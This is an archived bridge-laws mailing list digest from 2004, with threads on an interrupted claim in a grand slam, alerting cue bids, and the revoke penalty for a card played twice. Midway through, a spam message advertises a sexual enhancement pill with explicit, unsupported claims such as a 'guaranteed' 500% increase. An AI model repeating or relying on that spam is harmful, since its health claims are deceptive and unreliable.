<00e101c3e6c8$85c78900$0bd363d9@c5s5d3> Message-ID: Konrad, Nice position. I didn't see that one (I had just a quick look) but this one needs card reading so it is essentialy the same as guessing the spade suit in the finale. But without S109 that option doesn't exist and your line is needed. Jaap ----- Original Message ----- From: "Konrad Ciborowski" To: Sent: Friday, January 30, 2004 1:31 AM Subject: Re: [blml] NOT News ----- Original Message ----- From: "Tim West-Meads" > Which is relevant how exactly? If you consider "I have the clubs if they > split, the spades if they split or a black-suit squeeze works against > West" as a non-serious or insane claim then you really need to get out > more. This claim *is* insane, Tim. If you are good enough to know how squeezes operate then you would have to mention that if you cash clubs and they don't break with East having the stopper then there still is a very significant chance of bringing the contract home with the help of a non-simultanous double squeeze if West has 4+S (provided you won the first heart in dummy). KQxx 4 --- 2 Jxxx xx HH HHH --- --- --- 9 Axx Kx x --- South plays a D and WE are done (this is called Va-et-vient gauche in the French literature). You play your last D from hand. If West pitches a heart then you must let go a spade. Of course if spades are 3-3 then a small spade is the only card you cannot pitch so must do some good card reading on your way this position - so you certainly don't claim. A player who is aware of the squeeze chances will never claim in this way: >I've got the clubs if they > split, the spades if they split or a black-suit squeeze works against > West" because he will know that by claiming in such a way he will give up a significant chance to make his contract. Someone who is not capable of setting up a squeeze will never claim anything on a squeeze. Either way claiming in this position is insane. Unless you are *sure* that you have 13 tricks from the top. Which I firmly believe is what happened to the South player at the table. Konrad Ciborowski Kraków, Poland _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From hermandw@hdw.be Fri Jan 30 09:04:41 2004 From: hermandw@hdw.be (Herman De Wael) Date: Fri, 30 Jan 2004 10:04:41 +0100 Subject: [blml] NOT News In-Reply-To: References: Message-ID: <401A1E29.4070204@hdw.be> Well Ed, you did say that the matter was trivial. What did you mean at that time 12 tricks or 13? BTW, what do you mean now? Far too many negatives in the message below. Ed Reppert wrote: > > On Thursday, Jan 29, 2004, at 06:32 US/Eastern, Herman De Wael wrote: > >> I hope by trivial you mean you agree with the majority on this list >> and not with Ed? 12 tricks? > > > I don't believe I ever said that if the claim statement was not > interrupted, and thus consisted solely of "I've got the clubs", that I > would rule declarer gets 13 tricks. If you inferred that from what I did > say, then you are mistaken. > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From Frances.Hinden@Shell.com Fri Jan 30 11:25:00 2004 From: Frances.Hinden@Shell.com (Hinden, Frances SI-PXS) Date: Fri, 30 Jan 2004 11:25:00 -0000 Subject: [blml] Alerts, Pre-Alerts, Post-Alerts Message-ID: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB1639@lonsc-s-031.europe.shell.com> Hinden, Frances SI-PXS wrote >(I sent this before but it seems to have disappeared) [DWS] > Strange - I have already replied to it! I hadn't seen your reply either. But I have found it now in the = internet archive. Perhaps the company firewall got a bit too keen with = its filtering in the middle of a virus outbreak. Anyway, we are agreed. = By the way, the non-WBF convention card rule is blatently ignored by = all sorts of people. Maybe I'll start enforcing it against opponents. Of course, the pairs should in truth alert every time they pass over a = cue bid even in an uncontested auction. I'd feel more likely to claim = damage from MI if they didn't do so and we wrong-sided the final = contract. I can't say if they do alert such passes because it didn't = come up (there was one pass of a cue-bid in the other room, but it was a = cue-bid in declarer's first bid suit and I'm not sure if these methods = apply then). From hermandw@hdw.be Fri Jan 30 12:52:16 2004 From: hermandw@hdw.be (Herman De Wael) Date: Fri, 30 Jan 2004 13:52:16 +0100 Subject: [blml] card played twice Message-ID: <401A5380.7030002@hdw.be> A case which happened to a director friend of mine, at his own table. He's playing 1NT and this is his diamond suit : Qxx opp AKxxx. Apart from that he only has the club ace so the contract is doomed. At trick 4, LHO plays a small diamond. After the trick, he puts it back in his hand. In trick six (or eight) he plays this same diamond once again. Later on, declarer cashes his diamonds (they are 3-2) but then LHO makes his DJ. Declarer ends up with five tricks, and how many for the infraction? -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From blml@blakjak.com Fri Jan 30 13:14:24 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 30 Jan 2004 13:14:24 +0000 Subject: [blml] Alerts, Pre-Alerts, Post-Alerts In-Reply-To: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB1639@lonsc-s-031.europe.shell.com> References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB1639@lonsc-s-031.europe.shell.com> Message-ID: <4WIBJhDwilGAFwcy@blakjak.demon.co.uk> Hinden, Frances SI-PXS wrote >Hinden, Frances SI-PXS wrote >>(I sent this before but it seems to have disappeared) > >[DWS] >> Strange - I have already replied to it! > > >I hadn't seen your reply either. But I have found it now in the >internet archive. Perhaps the company firewall got a bit too keen with >its filtering in the middle of a virus outbreak. Anyway, we are >agreed. By the way, the non-WBF convention card rule is blatently >ignored by all sorts of people. Maybe I'll start enforcing it against >opponents. > > >Of course, the pairs should in truth alert every time they pass over a >cue bid even in an uncontested auction. I'd feel more likely to claim >damage from MI if they didn't do so and we wrong-sided the final >contract. I can't say if they do alert such passes because it didn't >come up (there was one pass of a cue-bid in the other room, but it was >a cue-bid in declarer's first bid suit and I'm not sure if these >methods apply then). We play the more normal "Double = do not lead" of a cue-bid of our suit. Naturally we alert the pass. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From twm@cix.co.uk Fri Jan 30 13:38:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Fri, 30 Jan 2004 13:38 +0000 (GMT Standard Time) Subject: [blml] NOT News In-Reply-To: <00e101c3e6c8$85c78900$0bd363d9@c5s5d3> Message-ID: Konrad wrote: > > Which is relevant how exactly? If you consider "I have the clubs if > > they split, the spades if they split or a black-suit squeeze works > > against West" as a non-serious or insane claim then you really need to > > get out more. > > This claim *is* insane, Tim. If you are good enough to know > how squeezes operate then you would have to mention that > if you cash clubs and they don't break with East having > the stopper then there still is a very significant chance > of bringing the contract home with the help of > a non-simultanous double squeeze if West has 4+S > (provided you won the first heart in dummy). I happen to believe that there are some players around who can envisage simple positional squeezes but struggle to contemplate non-simultaneous double squeezes with an incomplete count. I didn't wish to imply that the claim was the best line - just that is was a reasonable line for a certain class of player. The claim I suggested is marginally inferior but far from insane. Tim From twm@cix.co.uk Fri Jan 30 13:38:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Fri, 30 Jan 2004 13:38 +0000 (GMT Standard Time) Subject: [blml] NOT News In-Reply-To: Message-ID: > Tim: > > Well yes. But one rather assumes that when an AC is unanimous in > > finding there was a genuine interrupt of the claim the chances are > > pretty high that there was a genuine interrupt of the claim - so > > protect. > > 1. Keep in mind that the original question was 'what do you think of > the AC decision' given the presented facts. For that question the AC > ruling itself is not part of the facts. Otherwise you end up saying the > AC is right because it is right. Look, if the AC was wrong in finding the claim to have been interrupted we are unanimous in awarding -1. But so what, we will never be in a position to establish whether they were right or wrong on this point. The area of contention seems to be that some on this group wish to reward the premature interruption of the claim by ruling against claimer even though they accept that the claim was interrupted. > Tim: > > The TD said nothing of the sort (and made no ruling on whether the > > statement had been interrupted) . Claimer stated to the AC that he > > began > > with "I've got the clubs..." and was prevented from continuing. The > > opponent stated that claimer had started with "The clubs are good..". > > Note that from the write-up the opponent does not seem to deny > > interrupting at this stage. > > Of course the write-up is limited and a lot is left to the imagination. > In the end it boils down to deciding if claimer really wanted to make > this statement and was prevented from doing so by opps OR claimer during > the claim changed his mind probably caused by some kind of reaction to > his initial statement about clubs however that club thing was worded. No. It doesn't. If we accept that claimer *might* have made the actual statement had he not been interrupted we should not even contemplate ruling in favour of the procedure violating interruption. If we think that claimer was "trying it on" and hadn't intended to say any more at the time of the objection we would rule that no interruption had occurred and get the trivial "one off" ruling. > > Now for his intented claim we only have his word. It is a very strange > moment to claim (did you ever see someone claiming a grand slam when > realizing he had only 12 with still some work to do for 13) and it is a > ridiculous line of play. Apart from some squeeze extras the proposed > line > gives up on clubs 3-3 altogether. So I tend not to believe this story > because it is sure that somewhere along the line he realised or knew the > clubs were not breaking. I'm not really interested in what the ruling should be if we disbelieve his story about being about being interrupted - the answer is obvious. The point of the debate is how we should rule the claim once we *accept* his "story" about being interrupted. > This can only come from the objection/interruption when he started his > claim by claiming the club suit. If he benefits from opponents interrupting so be it. It is their own fault and I'm not going to waste any sympathy on them. > We seem to differ whether or not a valid objection (a club stop in this > case) to (part of) a claim is an interruption. I prefer to see this as > normal procedure (a valid objection to a misclaim) even if this > interrupts the claim. If an opponent interrupts and claimer (on resumption) is able to complete his sentence with a line leading to his required number of tricks then the claimer gets the benefit. Next time the opponent will be more careful. However if we give the benefit to the opponent then next time the opponent will interrupt more readily. For instance I now know that should either you or Herman be the TD I have a tremendous advantage in interrupting claims as early as possible just in case claimer has missed a technically superior (but failing) line. Not only that but you consider such interruptions legal! > Now if the objection is not valid and or (part of) the claim > is correct I will go along with your interrupt idea. In the first case > the misclaim caused the trouble, in the second case the interrupt caused > the problem (in my view that is) > > Tim: > > It may be a "natural reaction", if so it is one that should be curbed. > > Natural or unnatural it is certainly an interruption, and equally > > certainly against the law. > > If someone claims all the clubs and I call the TD (or react in a similar > way) on the basis of a club stop excactly which law do I break ? If you object mid-sentence you break L74a1 for starters. Interrupting is discourteous. If you object prematurely and it causes no problems (claimer accepts the objection) then it really isn't an issue (90%+ of claim objections are resolved amicably at the table without calling the TD - in clear breach of the claims laws). However if you fail to follow correct procedure while claimer is following correct procedure *and* it causes you should expect to be ruled against. > If you > expect people to behave differently, at the next general meeting I will > get a 99% vote for outlawing claims altogether (you know all those > people who hate to be claimed against). I expect people to learn that interrupting claim statements can occasionally work to their disadvantage. Most of the time it won't *because* there is no recovery path open to declarer in the rest of his statement and the situation never gets to the TD. > This is silly. Nobody in real life will claim a grand like that. In a > hurry they might claim 6NT for 12 or 13 (teams score) like that. Obviously my life is not real. At my club there are some people who make conditional claims for their contracts. > Besides that claim of yours is incorrect and will be challenged by > everybody because the line of play is unclear. I will not allow this > claim because it needs some non trivial handling (I know the Vienna Coup > here is rather obvious still I have seen mistakes). Nobody who knows > about squeezes will claim in that order because you have to sqeeze > before testing the second suit. It isn't "incorrect". It is a claim which clearly states the conditions necessary for success. While it is possible that a player may ask for the order of play to be clarified claimer is able to answer that question without suggesting a line not encompassed by the original statement. > And any player capable of executing this will never claim because it is > not the best line of play. Strangely I have found that some players are only capable of executing the second (or maybe third) best line of play. Nevertheless if such a player makes a claim which *works* we award that claim despite considering it sub-optimal. > Anyway why bother looking for the best line because if the first 5 > tricks were really 1H 3D and CJQKx I think it is nowhere near the best > line. I wasn't looking for a "best line". As you say the hand has already been misplayed and the evidence suggests that declarer is not particularly competent. That is not sufficient for us to be *sure* that he wasn't going to complete his table statement as he later did to the TD/AC. Indeed the relative inferiority of the actual statement inclines me to believe it - after all claimer had enough time to come up with something a bit more convincing if he wanted to lie about it. > And about my infinite wisdom. My wisdom is no better no worse than > yours. I just happen to be a good player so I am rather good at bridge > analysis and rather good at seeing through bogus bridge arguments. And making them too - trusting opponent's count signals against a grand slam is pretty poor advice IMO. > Anyway I still feel that this 'interruption' was not made after the > first four words of above sentence. But that is easy, even afterwards > the guy himself never mentioned clubs 3-3 or a squeeze. And nor is he obliged to. He stated a detailed line that worked against the actual distribution - which is all the law can, and does, require of a valid claim. > But never forget all this is just my judgement given the limited > available facts. If RJH changes the story or the TD or the AC comes with > new info I might well change my mind. Would you rule against claimer *if* you fully accepted that he was unjustifiably interrupted mid-sentence and prevented by opponents from completing a statement? Or put another way do you consider any result other than "contract made" compatible with the unanimous AC finding that a procedurally incorrect interruption had occurred? Tim From Martin.Sinot@Micronas.com Fri Jan 30 13:43:35 2004 From: Martin.Sinot@Micronas.com (Sinot Martin) Date: Fri, 30 Jan 2004 14:43:35 +0100 Subject: [blml] card played twice Message-ID: <94504F49BF58B0499D108530E98A52050E644D@rama.micronas.com> First, we notice that LHO in trick six (eight) played a card which already has been played. Therefore, trick six (eight) is now defective - that card is moved to trick four where it has been played first. At the moment where this is discovered, (L67) LHO must add a legal card in the defective trick (and show it). If he can play a diamond, there is no further penalty (but it does not change the owner of the trick); if he cannot play a diamond, he is subject to the "one trick penalty of L64". Assuming the second is the case, this line suggests that LHO loses one trick. However (is this it, Herman?) a close look at L64A2 (this must be the relevant law, since LHO did not win the defective trick) reveals that it costs one trick if any are made, but it costs another trick if an additional trick has been made with a card that could legally have been played in the revoke trick. That, of course, is the case here - LHO made the diamond jack, which certainly could have been played in the defective trick. So this seems to suggest a two trick penalty. It seems that we have a conflict here: is it one or two tricks? (Note that L64C at any rate does not apply; declarer gets at least one trick for a total of six, which is what he would have gained without the defective trick). --=20 Martin Sinot martin.sinot@nospammicronas.com > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org]On Behalf Of > Herman De Wael > Sent: Friday, January 30, 2004 13:52 > To: blml > Subject: [blml] card played twice >=20 >=20 > A case which happened to a director friend of mine, at his own table. >=20 > He's playing 1NT and this is his diamond suit : Qxx opp AKxxx. > Apart from that he only has the club ace so the contract is doomed. >=20 > At trick 4, LHO plays a small diamond. After the trick, he puts it=20 > back in his hand. >=20 > In trick six (or eight) he plays this same diamond once again. >=20 > Later on, declarer cashes his diamonds (they are 3-2) but then LHO=20 > makes his DJ. >=20 > Declarer ends up with five tricks, and how many for the infraction? From svenpran@online.no Fri Jan 30 13:47:38 2004 From: svenpran@online.no (Sven Pran) Date: Fri, 30 Jan 2004 14:47:38 +0100 Subject: [blml] card played twice In-Reply-To: <401A5380.7030002@hdw.be> Message-ID: <000001c3e737$9ff0ecd0$6900a8c0@WINXP> IMO the relevant Law is L67B1: If attention to the situation is drawn before both sides have played to = the trick following the one won with the DJ then we apply Law 67B1(a) and declarer wins 6 tricks. If attention to the situation is drawn at a later stage during the play = (or after the play) then we apply Law 67B1(b) and transfer one trick = resulting also now in 6 tricks to declarer. A curious situation occurs here because although it is possible for offending side to having been subject to a two trick revoke penalty = under Law 64 (offender did not win the revoke trick but he won a subsequent = trick with his DJ) Law 67B1(b) explicitly states that (only) the one trick = penalty is applicable in this case.=20 I cannot help wondering if this limitation of the revoke penalty (to a = one trick penalty) when we arrive at the revoke rules from Law 67 is intentional. Regards Sven > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of > Herman De Wael > Sent: 30. januar 2004 13:52 > To: blml > Subject: [blml] card played twice >=20 > A case which happened to a director friend of mine, at his own table. >=20 > He's playing 1NT and this is his diamond suit : Qxx opp AKxxx. > Apart from that he only has the club ace so the contract is doomed. >=20 > At trick 4, LHO plays a small diamond. After the trick, he puts it > back in his hand. >=20 > In trick six (or eight) he plays this same diamond once again. >=20 > Later on, declarer cashes his diamonds (they are 3-2) but then LHO > makes his DJ. >=20 > Declarer ends up with five tricks, and how many for the infraction? >=20 > -- > Herman DE WAEL > Antwerpen Belgium > http://www.hdw.be >=20 >=20 >=20 > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml From john@asimere.com Fri Jan 30 14:03:04 2004 From: john@asimere.com (John (MadDog) Probst) Date: Fri, 30 Jan 2004 14:03:04 +0000 Subject: [blml] card played twice In-Reply-To: <94504F49BF58B0499D108530E98A52050E644D@rama.micronas.com> References: <94504F49BF58B0499D108530E98A52050E644D@rama.micronas.com> Message-ID: In article <94504F49BF58B0499D108530E98A52050E644D@rama.micronas.com>, Sinot Martin writes >First, we notice that LHO in trick six (eight) played a card >which already has been played. Therefore, trick six (eight) >is now defective - that card is moved to trick four where it >has been played first. At the moment where this is discovered, >(L67) LHO must add a legal card in the defective trick (and >show it). If he can play a diamond, there is no further penalty >(but it does not change the owner of the trick); if he cannot >play a diamond, he is subject to the "one trick penalty of L64". >Assuming the second is the case, this line suggests that LHO loses >one trick. However (is this it, Herman?) a close look at L64A2 >(this must be the relevant law, since LHO did not win the >defective trick) reveals that it costs one trick if any are made, >but it costs another trick if an additional trick has been made >with a card that could legally have been played in the revoke >trick. That, of course, is the case here - LHO made the diamond >jack, which certainly could have been played in the defective >trick. So this seems to suggest a two trick penalty. It seems >that we have a conflict here: is it one or two tricks? >(Note that L64C at any rate does not apply; declarer gets at least >one trick for a total of six, which is what he would have gained >without the defective trick). I'm up for martin's interpretation. moving a card to the defective trick 4 creates the "2-trick if you win a D" scenario. he wins a D at trick, say 9. 2 tricks. no 64C adjustment. Nice problem Herman. > -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |OKb ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From morecmendragonfly@wildmail.com Sat Jan 31 01:11:55 2004 From: morecmendragonfly@wildmail.com (Ajh) Date: Fri, 30 Jan 2004 22:11:55 -0300 Subject: [blml] Cum And Look Like A P0RN STAR!!!!!!!! consultsdaresay Message-ID: cumpills2
SHOWER YOUR LOVER WITH
BUCKET LOADS OF SP.ERM!
 

It's Amazing & Has Finally Arrived! A Unique Pill That Will Increase Your Spe.rm By Up To 500% More We Guaran.teed It!

Maintain Rock Solid Erect.ions
Increased Se.xual Desire & Performance
- Shoot Out Amazing Amounts Of Spe.rm Everywhere
- Multiple Extreme Orga.sms! Have 2 Or 3 Each Time.
- 100% Mon.ey Back Guar.antee With Every Order.
 

EJACU.LATE LIKE A P0RN STAR

MORE INFO HERE
 
 

no more emailz

jabbingvacated From svenpran@online.no Fri Jan 30 14:39:56 2004 From: svenpran@online.no (Sven Pran) Date: Fri, 30 Jan 2004 15:39:56 +0100 Subject: [blml] card played twice In-Reply-To: Message-ID: <000001c3e73e$ee35fcd0$6900a8c0@WINXP> There is a fallacy in this reasoning - see my comments below. > Sinot Martin writes > >First, we notice that LHO in trick six (eight) played a card > >which already has been played. Therefore, trick six (eight) > >is now defective - that card is moved to trick four where it > >has been played first. At the moment where this is discovered, > >(L67) LHO must add a legal card in the defective trick (and > >show it). If he can play a diamond, there is no further penalty > >(but it does not change the owner of the trick); if he cannot > >play a diamond, he is subject to the "one trick penalty of L64". Assuming that the error is noticed and called attention to immediately = when the DJ is played the second time the Director shall apply Law 67B1(a) = and have the DJ restored to trick four (without changing the ownership of = that trick). Thereafter the offender will play any card we cares (he is now = out of diamonds) to trick six (eight) and there is no revoke, no penalty, no nothing. Declarer gets his 6 tricks. > >Assuming the second is the case,=20 How can the second be the case? The offender had his DJ to be restored = to trick four! this line suggests that LHO loses > >one trick. However (is this it, Herman?) a close look at L64A2 > >(this must be the relevant law,=20 We have no revoke since the offender could restore a diamond to trick = four, so there is no case for Law 64. since LHO did not win the > >defective trick) reveals that it costs one trick if any are made, > >but it costs another trick if an additional trick has been made > >with a card that could legally have been played in the revoke > >trick. That, of course, is the case here - LHO made the diamond > >jack, which certainly could have been played in the defective > >trick. So this seems to suggest a two trick penalty. It seems > >that we have a conflict here: is it one or two tricks? In this case there is no room for any conflict, but if we change it = slightly there appears to be one: If the DJ has been finally played the second time and attention to the situation is not called until the offender no longer has any diamonds = then we must turn to Law 67B1(b) and rule an established revoke in trick = four. However, as Law 67B1(b) explicitly states that (only) the one-trick = revoke penalty in Law 64 can be applied we are bound by that limitation. = Without this limitation we would have had to rule an ordinary revoke case on = trick four. > >(Note that L64C at any rate does not apply; declarer gets at least > >one trick for a total of six, which is what he would have gained > >without the defective trick). >=20 > I'm up for martin's interpretation. moving a card to the defective = trick > 4 creates the "2-trick if you win a D" scenario. he wins a D at trick, > say 9. 2 tricks. no 64C adjustment. Nice problem Herman. Don't overlook Law 67B1(b) being the primary law in this case. The way = that law is spelled out I don't see how we can apply a two trick revoke = penalty here. But as I have stated separately I cannot help wondering if this situation was intended by WBFLC; the question has never been answered in = any of the WBFLC minutes I have available and law 67B1(b) is unchanged since 1987. In my opinion Law 67B1(b) ought to be rewritten with the last sentence reading: --- he may be subject to the revoke penalties of Law 64. Is this a case for Grattan's notebook? Sven From hermandw@hdw.be Fri Jan 30 15:37:46 2004 From: hermandw@hdw.be (Herman De Wael) Date: Fri, 30 Jan 2004 16:37:46 +0100 Subject: [blml] NOT News In-Reply-To: References: Message-ID: <401A7A4A.6050502@hdw.be> No Tim, not at all. Tim West-Meads wrote: >>Tim: >> >>>Well yes. But one rather assumes that when an AC is unanimous in >>>finding there was a genuine interrupt of the claim the chances are >>>pretty high that there was a genuine interrupt of the claim - so >>>protect. >> >>1. Keep in mind that the original question was 'what do you think of >>the AC decision' given the presented facts. For that question the AC >>ruling itself is not part of the facts. Otherwise you end up saying the >>AC is right because it is right. > > > Look, if the AC was wrong in finding the claim to have been interrupted we > are unanimous in awarding -1. But so what, we will never be in a position > to establish whether they were right or wrong on this point. > That far we agree totally. I have my doubts about this finding, but I don't criticize it. We were not there. > The area of contention seems to be that some on this group wish to reward > the premature interruption of the claim by ruling against claimer even > though they accept that the claim was interrupted. > I resent the word "reward". What I (and many with me) wish to see done is justice. The claim (IMO) was bogus, and we should not punish defenders with the granting of a bogus claim just because he claims to have been interrupted. What you are doing, Tim, is "reward" claimer. His claim was invalid, whether interrupted or not. -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From hermandw@hdw.be Fri Jan 30 15:44:07 2004 From: hermandw@hdw.be (Herman De Wael) Date: Fri, 30 Jan 2004 16:44:07 +0100 Subject: [blml] NOT News In-Reply-To: References: Message-ID: <401A7BC7.2010608@hdw.be> second reply to second of Tim's paragraphs: Tim West-Meads wrote: >> >>Of course the write-up is limited and a lot is left to the imagination. >>In the end it boils down to deciding if claimer really wanted to make >>this statement and was prevented from doing so by opps OR claimer during >>the claim changed his mind probably caused by some kind of reaction to >>his initial statement about clubs however that club thing was worded. > > > No. It doesn't. If we accept that claimer *might* have made the actual > statement had he not been interrupted we should not even contemplate > ruling in favour of the procedure violating interruption. > Of course we should contemplate it. If we accept that claimer could have made that same statement at the time of his claim, we should still contemplate ruling on that statement. If I make a faulty claim, and you interrupt me, shall I go to the AC and say "I was interrupted, please give me 13 tricks"? No, because the AC will tell me "what were you about to say?" and then rule on that claim statement. So your reasoning is false if you believe that the decision as to whether or not the claim statement was interrupted is the final decision the AC has to make. They also have to decide if the claim statement would make the claim valid. To me, it wouldn't, but your view on that one may differ. I don't think it is important, since I don't believe this claim statement was the one claimer actually wanted to utter at the time of his interruption. > If we think that claimer was "trying it on" and hadn't intended to say any > more at the time of the objection we would rule that no interruption had > occurred and get the trivial "one off" ruling. > I'm glad we agree on that point. Now please Tim, read the case again and tell me whether you believe that claimer was going to utter this precise statement (including the sentence about throwing a heart on the fourth spade). -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From hermandw@hdw.be Fri Jan 30 15:52:24 2004 From: hermandw@hdw.be (Herman De Wael) Date: Fri, 30 Jan 2004 16:52:24 +0100 Subject: [blml] NOT News In-Reply-To: References: Message-ID: <401A7DB8.8040802@hdw.be> third reply to same post. Tim West-Meads wrote: >>gives up on clubs 3-3 altogether. So I tend not to believe this story >>because it is sure that somewhere along the line he realised or knew the >>clubs were not breaking. > > > I'm not really interested in what the ruling should be if we disbelieve > his story about being about being interrupted - the answer is obvious. > The point of the debate is how we should rule the claim once we *accept* > his "story" about being interrupted. > No, about him being interrupted _AND_ his sentence being the one he would have pronounced if he hadn't been interrupted. > >>This can only come from the objection/interruption when he started his >>claim by claiming the club suit. > > > If he benefits from opponents interrupting so be it. It is their own > fault and I'm not going to waste any sympathy on them. > AS long as the benefit is one of doubt, then I agree. But in muy mind, there is no doubt. And I am not going to have claimer benefit either. > >>We seem to differ whether or not a valid objection (a club stop in this >>case) to (part of) a claim is an interruption. I prefer to see this as >>normal procedure (a valid objection to a misclaim) even if this >>interrupts the claim. > > > If an opponent interrupts and claimer (on resumption) is able to complete > his sentence with a line leading to his required number of tricks then the > claimer gets the benefit. Next time the opponent will be more careful. > However if we give the benefit to the opponent then next time the opponent > will interrupt more readily. For instance I now know that should either > you or Herman be the TD I have a tremendous advantage in interrupting > claims as early as possible just in case claimer has missed a technically > superior (but failing) line. Not only that but you consider such > interruptions legal! > No we don't. And your argument does not hold water. This is a case where the claimer was unable (through ignorance probably) to come up with a claim statement that satisfies me. If this claimer had come to my committee with the statement "look, I was about to say that I saw no other line but to play spades 3-3, and I wanted to make a conditional claim", I might have believed him (or maybe not even then - it's still irrational to do so). So if you want to punish claim interrupters by ruling against them in cases of doubt, then go ahead. But there is no need to punish claim interruption by awarding 100% faulty claims. -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From hermandw@hdw.be Fri Jan 30 16:02:36 2004 From: hermandw@hdw.be (Herman De Wael) Date: Fri, 30 Jan 2004 17:02:36 +0100 Subject: [blml] card played twice In-Reply-To: <000001c3e73e$ee35fcd0$6900a8c0@WINXP> References: <000001c3e73e$ee35fcd0$6900a8c0@WINXP> Message-ID: <401A801C.40908@hdw.be> Well done Sven, for spotting the problem! Sven Pran wrote: > There is a fallacy in this reasoning - see my comments below. > > >>Sinot Martin writes >> >>>First, we notice that LHO in trick six (eight) played a card >>>which already has been played. Therefore, trick six (eight) >>>is now defective - that card is moved to trick four where it >>>has been played first. At the moment where this is discovered, >>>(L67) LHO must add a legal card in the defective trick (and >>>show it). If he can play a diamond, there is no further penalty >>>(but it does not change the owner of the trick); if he cannot >>>play a diamond, he is subject to the "one trick penalty of L64". Martin ends his post with a reference to L64C, noticing there is no need for a further rectification, since even a one-trick penalty restores to 6 tricks. However, I have since heard back from my friend, and it turns out he made only 4 tricks (AKQ of diamonds and CA), so a 2-trick penalty restores to 6, and a one-trick penalty would leave declarer with a trick short. > > > Assuming that the error is noticed and called attention to immediately when > the DJ is played the second time the Director shall apply Law 67B1(a) and > have the DJ restored to trick four (without changing the ownership of that > trick). Thereafter the offender will play any card we cares (he is now out > of diamonds) to trick six (eight) and there is no revoke, no penalty, no > nothing. Declarer gets his 6 tricks. > Let's drop this assumption - the error was not noticed when the DJ was played, since that was merely the 13th diamond. Only declarer knew something was wrong, but he wasn't certain what. The error could have been noticed when the small diamond was played a second time, but no-one did. By the time it was noticed (trick 12) it was to late to apply L67B1(a). > >>>Assuming the second is the case, > > > How can the second be the case? The offender had his DJ to be restored to > trick four! > It is the case. > this line suggests that LHO loses > >>>one trick. However (is this it, Herman?) a close look at L64A2 >>>(this must be the relevant law, > > > We have no revoke since the offender could restore a diamond to trick four, > so there is no case for Law 64. > > since LHO did not win the > >>>defective trick) reveals that it costs one trick if any are made, >>>but it costs another trick if an additional trick has been made >>>with a card that could legally have been played in the revoke >>>trick. That, of course, is the case here - LHO made the diamond >>>jack, which certainly could have been played in the defective >>>trick. So this seems to suggest a two trick penalty. It seems >>>that we have a conflict here: is it one or two tricks? > > > In this case there is no room for any conflict, but if we change it slightly > there appears to be one: > > If the DJ has been finally played the second time and attention to the > situation is not called until the offender no longer has any diamonds then > we must turn to Law 67B1(b) and rule an established revoke in trick four. > That is indeed what we must do. > However, as Law 67B1(b) explicitly states that (only) the one-trick revoke > penalty in Law 64 can be applied we are bound by that limitation. Without > this limitation we would have had to rule an ordinary revoke case on trick > four. > And thus 4+1=5 tricks, one less than the absolute minimum available on the hand. And no L64C either? > >>>(Note that L64C at any rate does not apply; declarer gets at least >>>one trick for a total of six, which is what he would have gained >>>without the defective trick). >> >>I'm up for martin's interpretation. moving a card to the defective trick >>4 creates the "2-trick if you win a D" scenario. he wins a D at trick, >>say 9. 2 tricks. no 64C adjustment. Nice problem Herman. > > > Don't overlook Law 67B1(b) being the primary law in this case. The way that > law is spelled out I don't see how we can apply a two trick revoke penalty > here. But as I have stated separately I cannot help wondering if this > situation was intended by WBFLC; the question has never been answered in any > of the WBFLC minutes I have available and law 67B1(b) is unchanged since > 1987. > > In my opinion Law 67B1(b) ought to be rewritten with the last sentence > reading: --- he may be subject to the revoke penalties of Law 64. > > Is this a case for Grattan's notebook? > Certainly ! > Sven > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From nigel.guthrie@ntlworld.com Fri Jan 30 16:26:57 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Fri, 30 Jan 2004 16:26:57 -0000 Subject: [blml] NOT News References: <6.0.1.1.1.20040127134247.01aecfb8@postoffice.worldnet.att.net> <6.0.1.1.0.20040130100920.01e20ec0@pop.ihug.com.au> Message-ID: <00b301c3e74d$e2455b00$999468d5@tinyhrieuyik> [Laurie Kelso] > I was the DIC of the venue where this situation arose. > Todd has surmised things pretty well. The claim occurred > immediately after the CJ had been led and covered. The > directing staff believed that declarer had precipitously > claimed in the aftermath of the relief of a successful > finesse, without necessarily realising there weren't 13 > sure tricks. By the time floor director arrived at the > table, things had progressed a bit further. East had in > fact already exposed her hand and indicated that the clubs > were not breaking and it was thus very apparent to > everyone at the table that she held 3 spades. While > declarer cannot be held accountable if one of the > opponents decides to expose her hand, his subsequent > clarification statement' was made within this context. > Having attended the AC as an observer, I believe that > E/W probably were very quick to contest Declarer's > statement and probably did 'cut him off', however I am > still not sure that he knew what he was doing when he > made his initial (attempted) claim. [Nigel] Thank you for confirming what Jaap, Herman, Konrad, Todd, and I surmised. Did the AC try to establish whether the claimer said "The clubs are good"? If the AC accepted declarer's word that he said "I have the clubs", did the AC ask him what he meant by it? Did he say he meant that he had some high cards in clubs? In which case, why single out clubs? Did the AC ask if he had modified his claim statement in the light of what he could see in his protesting opponents' hands? Or did the AC, (like David, Tim, John, and Ed) take the view that other considerations are irrelevant because once opponents protest, they put themselves irretrievably in the wrong. The interruption means that declarer is free to complete his claim statement in the light of any new information he has acquired. Even if that entails a non- sequitor to the opening sentence of the claim; or, in this this case, an apparent 